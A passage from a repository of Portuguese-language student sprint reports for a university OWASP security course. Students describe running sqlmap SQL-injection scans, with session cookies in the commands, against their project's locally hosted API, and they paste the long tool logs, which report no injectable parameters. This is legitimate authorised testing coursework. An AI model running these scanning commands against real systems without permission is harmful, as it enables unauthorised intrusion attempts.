(X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 119 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 120 | Accept-Language: en-US,en;q=0.5 121 | Connection: keep-alive 122 | Cookie: csrftoken=zYqIyZtXO4TtjvEJUTtigM2rAnFAL71o; sessionid=j82fxq43osmvn5c7ikuqmwfrylcxh8ya 123 | Upgrade-Insecure-Requests: 1 124 | ``` 125 | 126 | Comando utilizado: sqlmap -r request.txt --batch 127 | 128 | Output: 129 | 130 | ``` 131 | [*] starting @ 13:24:40 /2024-11-27/ 132 | 133 | [13:24:40] [INFO] parsing HTTP request from 'request.txt' 134 | [13:24:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' 135 | do you want to try URI injections in the target URL itself? [Y/n/q] Y 136 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N 137 | [13:24:40] [INFO] testing connection to the target URL 138 | [13:24:41] [INFO] testing if the target URL content is stable 139 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y 140 | [13:24:41] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' 141 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C 142 | [13:24:41] [INFO] testing if URI parameter '#1*' is dynamic 143 | got a 301 redirect to 'http://localhost:8000/api/university-user/1540/'. Do you want to follow? [Y/n] Y 144 | [13:24:42] [WARNING] URI parameter '#1*' does not appear to be dynamic 145 | [13:24:42] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 146 | [13:24:42] [INFO] testing for SQL injection on URI parameter '#1*' 147 | [13:24:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 148 | [13:24:43] [WARNING] reflective value(s) found and filtering out 149 | [13:24:46] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 150 | [13:24:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 151 | [13:24:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 152 | [13:24:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 153 | [13:24:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 154 | [13:24:48] [INFO] testing 'Generic inline queries' 155 | [13:24:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 156 | [13:24:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 157 | [13:24:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 158 | [13:24:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 159 | [13:24:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 160 | [13:24:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 161 | [13:24:52] [INFO] testing 'Oracle AND time-based blind' 162 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y 163 | [13:24:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 164 | [13:24:54] [WARNING] URI parameter '#1*' does not seem to be injectable 165 | [13:24:54] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 166 | [13:24:54] [WARNING] HTTP error codes detected during run: 167 | 500 (Internal Server Error) - 4 times, 404 (Not Found) - 9 times 168 | 169 | [*] ending @ 13:24:54 /2024-11-27/ 170 | ``` 171 | 172 | A fim de aumentar um pouco a quantidade de testes, realizei mais testes com um comando modificado: 173 | 174 | Comando utilizado: sqlmap -r request.txt --batch --level=3 --risk=2 175 | 176 | Output: 177 | 178 | ``` 179 | [*] starting @ 13:11:26 /2024-11-27/ 180 | 181 | [13:11:26] [INFO] parsing HTTP request from 'request.txt' 182 | [13:11:26] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' 183 | do you want to try URI injections in the target URL itself? [Y/n/q] Y 184 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N 185 | [13:11:26] [INFO] testing connection to the target URL 186 | [13:11:27] [INFO] testing if the target URL content is stable 187 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y 188 | [13:11:27] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' 189 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C 190 | [13:11:27] [INFO] testing if URI parameter '#1*' is dynamic 191 | got a 301 redirect to 'http://localhost:8000/api/university-user/9844/'. Do you want to follow? [Y/n] Y 192 | [13:11:28] [WARNING] URI parameter '#1*' does not appear to be dynamic 193 | [13:11:28] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 194 | [13:11:28] [INFO] testing for SQL injection on URI parameter '#1*' 195 | [13:11:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 196 | [13:11:29] [WARNING] reflective value(s) found and filtering out 197 | [13:11:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' 198 | [13:11:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)' 199 | [13:11:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' 200 | [13:11:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)' 201 | [13:12:03] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' 202 | [13:12:13] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' 203 | [13:12:24] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' 204 | [13:12:34] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' 205 | [13:12:39] [INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)' 206 | [13:12:49] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 207 | [13:12:50] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace' 208 | [13:12:50] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace' 209 | [13:12:50] [INFO] testing 'Oracle boolean-based blind - Parameter replace' 210 | [13:12:51] [INFO] testing 'Informix boolean-based blind - Parameter replace' 211 | [13:12:51] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace' 212 | [13:12:51] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)' 213 | [13:12:51] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)' 214 | [13:12:52] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)' 215 | [13:12:52] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)' 216 | [13:12:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause' 217 | [13:12:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' 218 | [13:12:54] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause' 219 | [13:12:54] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause' 220 | [13:12:54] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause' 221 | [13:12:55] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause' 222 | [13:12:55] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause' 223 | [13:13:06] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries' 224 | [13:13:08] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)' 225 | [13:13:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' 226 | [13:13:16] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 227 | [13:13:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' 228 | [13:13:23] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' 229 | [13:13:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 230 | [13:13:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 231 | [13:13:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)' 232 | [13:13:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)' 233 | [13:13:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 234 | [13:13:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)' 235 | [13:13:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' 236 | [13:13:45] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause' 237 | [13:13:48] [INFO] testing 'MonetDB AND error-based - WHERE or HAVING clause' 238 | [13:13:52] [INFO] testing 'Vertica AND error-based - WHERE or HAVING clause' 239 | [13:13:52] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause' 240 | [13:13:53] [INFO] testing 'ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' 241 | [13:13:56] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' 242 | [13:13:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' 243 | [13:14:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' 244 | [13:14:00] [INFO] testing 'PostgreSQL error-based - Parameter replace' 245 | [13:14:00] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace' 246 | [13:14:00] [INFO] testing 'Oracle error-based - Parameter replace' 247 | [13:14:00] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)' 248 | [13:14:00] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)' 249 | [13:14:01] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause' 250 | [13:14:01] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)' 251 | [13:14:03] [INFO] testing 'Generic inline queries' 252 | [13:14:03] [INFO] testing 'MySQL inline queries' 253 | [13:14:04] [INFO] testing 'PostgreSQL inline queries' 254 | [13:14:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' 255 | [13:14:04] [INFO] testing 'Oracle inline queries' 256 | [13:14:04] [INFO] testing 'SQLite inline queries' 257 | [13:14:04] [INFO] testing 'Firebird inline queries' 258 | [13:14:04] [INFO] testing 'ClickHouse inline queries' 259 | [13:14:05] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' 260 | [13:14:06] [INFO] testing 'MySQL >= 5.0.12 stacked queries' 261 | [13:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' 262 | [13:14:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' 263 | [13:14:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 264 | [13:14:14] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)' 265 | [13:14:16] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)' 266 | [13:14:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 267 | [13:14:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)' 268 | [13:14:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 269 | [13:14:21] [INFO] testing 'Oracle stacked queries (heavy query - comment)' 270 | [13:14:23] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)' 271 | [13:14:23] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)' 272 | [13:14:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 273 | [13:14:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)' 274 | [13:14:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)' 275 | [13:14:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)' 276 | [13:14:34] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)' 277 | [13:14:37] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)' 278 | [13:14:38] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind' 279 | [13:14:41] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)' 280 | [13:14:44] [INFO] testing 'MySQL AND time-based blind (ELT)' 281 | [13:14:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 282 | [13:14:50] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)' 283 | [13:14:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 284 | [13:14:57] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' 285 | [13:15:00] [INFO] testing 'Oracle AND time-based blind' 286 | [13:15:02] [INFO] testing 'Oracle AND time-based blind (heavy query)' 287 | [13:15:05] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)' 288 | [13:15:07] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)' 289 | [13:15:09] [INFO] testing 'Informix AND time-based blind (heavy query)' 290 | [13:15:12] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)' 291 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace' 292 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)' 293 | [13:15:15] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace' 294 | [13:15:15] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)' 295 | [13:15:15] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)' 296 | [13:15:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause' 297 | [13:15:15] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause' 298 | [13:15:16] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)' 299 | [13:15:16] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)' 300 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y 301 | [13:15:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 302 | [13:15:23] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns' 303 | [13:15:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' 304 | [13:15:37] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns' 305 | [13:15:43] [WARNING] URI parameter '#1*' does not seem to be injectable 306 | other non-custom parameters found. Do you want to process them too? [Y/n/q] Y 307 | [13:15:43] [INFO] ignoring Cookie parameter 'csrftoken' 308 | [13:15:43] [WARNING] Cookie parameter 'sessionid' does not appear to be dynamic 309 | do you want to URL encode cookie values (implementation specific)? [Y/n] Y 310 | [13:15:43] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401). If this is intended, try to rerun by providing a valid value for option '--ignore-code' 311 | [13:15:43] [WARNING] HTTP error codes detected during run: 312 | 404 (Not Found) - 304 times, 500 (Internal Server Error) - 66 times, 401 (Unauthorized) - 1 times 313 | 314 | [*] ending @ 13:15:43 /2024-11-27/ 315 | ``` 316 | 317 | Contudo, desta vez, ocorreu um erro que não constava nos logs da execução anterior. Que seria o 401, mesmo estando autenticado como admin. 318 | 319 | ### Dificuldades 320 | 321 | Num primeiro momento, as principais dificuldades foram referentes ao Docker do projeto. O qual funcionou apenas na máquina virtual Kali Linux. 322 | Após isso, estudei o básico de SQL Injection no material indicado pelo monitor e tentei fazer os testes nos caminhos api/universities e api/university-user. 323 | Entretanto, ao tentar fazer os testes, percebi que precisava de autenticação, o que foi a maior dificuldade até então. Para isso, resolvi estudando o módulo pago de SQLMap Essentials no material recomendado do HTB. Dessa forma, percebi que era necessário captar o header, o qual eu fiz por meio do OWASP Zap, ferramenta que pretendo utilizar futuramente para complementar os testes feitos no SQLMap. 324 | 325 | ### Próximos passos 326 | 327 | Como não encontrei nenhum tipo de falha, apenas falsos positivos. O ideal seria aprimorar os comandos utilizados, dado que foram utilizados apenas de comandos básicos. O material fornecido especifica diversos casos diferentes nos quais podem ser utilizadas outras formas de testes para lidar com idiossincrasias do projeto em questão. Ademais, seria interessante estudar a causa do erro 401 que aconteceu mesmo autenticado. -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/211031833_Taynara_Marcellos.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 1 2 | 3 | ## Grupo OWASP - Sub-grupo 1 4 | 5 | 6 | Taynara Cristina Ribeiro Marcellos - 211031833 7 | 8 | ## Dificuldades 9 | 10 | A minha maior dificuldade foi em rodar a aplicação, estou com um problema no docker ao tentar rodar a aplicação no kali linux. Também foi difícil organizar o tempo de estudo dos cursos. 11 | 12 | ## Próximos passos 13 | 14 | - Estudar o próximo módulo definido pela sprint 2; 15 | - Rodar o ambiente; 16 | - Testar rota; 17 | 18 | ## Resultados 19 | 20 | Nessa primeria sprint comecei os estudos na HTB Academy, criei a virtual box, configurei o kali linux e clonei os repositórios. 21 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/211039250_Arthur_Grandao.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 1 2 | 3 | Arthur Grandão de Mello - 211039250 4 | 5 | Grupo OWASP - Sub-grupo 1 6 | 7 | Para esta sprint eu procurei realizar os módulos do HTB Academy recomendados pelo monitor para poder realizar os testes de SQLi nas rotas da API do Mec Energia designadas pelo mesmo. 8 | 9 | ## Dificuldades 10 | 11 | Tive dificuldades em me organizar para estudar. 12 | 13 | ## Próximos passos 14 | 15 | Me aprofundar mais no curso do HTB Academy para conseguir melhores resultados nos futuros testes. 16 | 17 | ## Resultados 18 | 19 | Eu realizei testes com o `SQLMap` nas rotas `/api/users`, `/api/users/?id` e `api/users/change-user-password/`. 20 | 21 | ## /api/users/ 22 | 23 | ``` 24 | ┌──(grandao㉿kali)-[~/Projetos] 25 | └─$ sqlmap -u http://localhost:8000/api/users --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4" 26 | ___ 27 | __H__ 28 | ___ ___[(]_____ ___ ___ {1.8.7#stable} 29 | |_ -| . [)] | .'| . | 30 | |___|_ [)]_|_|_|__,| _| 31 | |_|V... |_| https://sqlmap.org 32 | 33 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 34 | 35 | [*] starting @ 23:35:48 /2024-11-27/ 36 | 37 | [23:35:49] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' 38 | do you want to try URI injections in the target URL itself? [Y/n/q] y 39 | [23:35:50] [INFO] testing connection to the target URL 40 | got a 301 redirect to 'http://localhost:8000/api/users/'. Do you want to follow? [Y/n] y 41 | [23:35:57] [INFO] testing if the target URL content is stable 42 | [23:35:57] [WARNING] URI parameter '#1*' does not appear to be dynamic 43 | [23:35:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 44 | [23:35:58] [INFO] testing for SQL injection on URI parameter '#1*' 45 | [23:35:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 46 | [23:35:59] [WARNING] reflective value(s) found and filtering out 47 | [23:36:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 48 | [23:36:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 49 | [23:36:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 50 | [23:36:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 51 | [23:36:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 52 | [23:36:06] [INFO] testing 'Generic inline queries' 53 | [23:36:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 54 | [23:36:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 55 | [23:36:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 56 | [23:36:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 57 | [23:36:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 58 | [23:36:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 59 | [23:36:09] [INFO] testing 'Oracle AND time-based blind' 60 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y 61 | [23:36:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 62 | [23:36:15] [WARNING] URI parameter '#1*' does not seem to be injectable 63 | [23:36:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 64 | [23:36:15] [WARNING] HTTP error codes detected during run: 65 | 404 (Not Found) - 69 times, 500 (Internal Server Error) - 3 times 66 | 67 | [*] ending @ 23:36:15 /2024-11-27/ 68 | ``` 69 | 70 | ## /api/users/?id/ 71 | 72 | ``` 73 | ┌──(grandao㉿kali)-[~/Projetos] 74 | └─$ sqlmap -u http://localhost:8000/api/users/?id=1 --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4" 75 | ___ 76 | __H__ 77 | ___ ___[.]_____ ___ ___ {1.8.7#stable} 78 | |_ -| . [.] | .'| . | 79 | |___|_ [.]_|_|_|__,| _| 80 | |_|V... |_| https://sqlmap.org 81 | 82 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 83 | 84 | [*] starting @ 23:32:54 /2024-11-27/ 85 | 86 | [23:32:54] [INFO] testing connection to the target URL 87 | [23:32:54] [INFO] checking if the target is protected by some kind of WAF/IPS 88 | [23:32:54] [INFO] testing if the target URL content is stable 89 | [23:32:55] [INFO] target URL content is stable 90 | [23:32:55] [INFO] testing if GET parameter 'id' is dynamic 91 | [23:32:56] [WARNING] GET parameter 'id' does not appear to be dynamic 92 | [23:32:56] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable 93 | [23:32:56] [INFO] testing for SQL injection on GET parameter 'id' 94 | [23:32:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 95 | [23:32:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 96 | [23:32:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 97 | [23:32:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 98 | [23:32:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 99 | [23:32:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 100 | [23:32:59] [INFO] testing 'Generic inline queries' 101 | [23:32:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 102 | [23:32:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 103 | [23:32:59] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 104 | [23:33:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 105 | [23:33:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 106 | [23:33:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 107 | [23:33:01] [INFO] testing 'Oracle AND time-based blind' 108 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y 109 | [23:33:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 110 | [23:33:06] [WARNING] GET parameter 'id' does not seem to be injectable 111 | [23:33:06] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 112 | 113 | [*] ending @ 23:33:06 /2024-11-27/ 114 | ``` 115 | 116 | ``` 117 | ┌──(grandao㉿kali)-[~/Projetos] 118 | └─$ sqlmap -u http://localhost:8000/api/users/?*id=1 --headers="Cookie: csrftoken=uJi4syyAb4ZP6VOoIMefBMYY5ZMWH61K; sessionid=wj9ia2d13e962lah172txboazulrmmf4" 119 | ___ 120 | __H__ 121 | ___ ___[)]_____ ___ ___ {1.8.7#stable} 122 | |_ -| . ["] | .'| . | 123 | |___|_ [)]_|_|_|__,| _| 124 | |_|V... |_| https://sqlmap.org 125 | 126 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 127 | 128 | [*] starting @ 23:39:18 /2024-11-27/ 129 | 130 | custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y 131 | [23:39:23] [INFO] testing connection to the target URL 132 | [23:39:23] [INFO] checking if the target is protected by some kind of WAF/IPS 133 | [23:39:24] [INFO] testing if the target URL content is stable 134 | [23:39:24] [INFO] target URL content is stable 135 | [23:39:24] [INFO] testing if URI parameter '#1*' is dynamic 136 | [23:39:24] [WARNING] URI parameter '#1*' does not appear to be dynamic 137 | [23:39:24] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable 138 | [23:39:24] [INFO] testing for SQL injection on URI parameter '#1*' 139 | [23:39:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 140 | [23:39:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 141 | [23:39:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 142 | [23:39:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 143 | [23:39:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 144 | [23:39:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 145 | [23:39:26] [INFO] testing 'Generic inline queries' 146 | [23:39:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 147 | [23:39:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 148 | [23:39:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 149 | [23:39:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 150 | [23:39:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 151 | [23:39:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 152 | [23:39:28] [INFO] testing 'Oracle AND time-based blind' 153 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y 154 | [23:39:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 155 | [23:39:31] [WARNING] URI parameter '#1*' does not seem to be injectable 156 | [23:39:31] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 157 | 158 | [*] ending @ 23:39:31 /2024-11-27/ 159 | ``` 160 | 161 | ## api/users/change-user-password 162 | 163 | ``` 164 | ┌──(grandao㉿kali)-[~/Projetos] 165 | └─$ sqlmap -r request1.txt 166 | ___ 167 | __H__ 168 | ___ ___[)]_____ 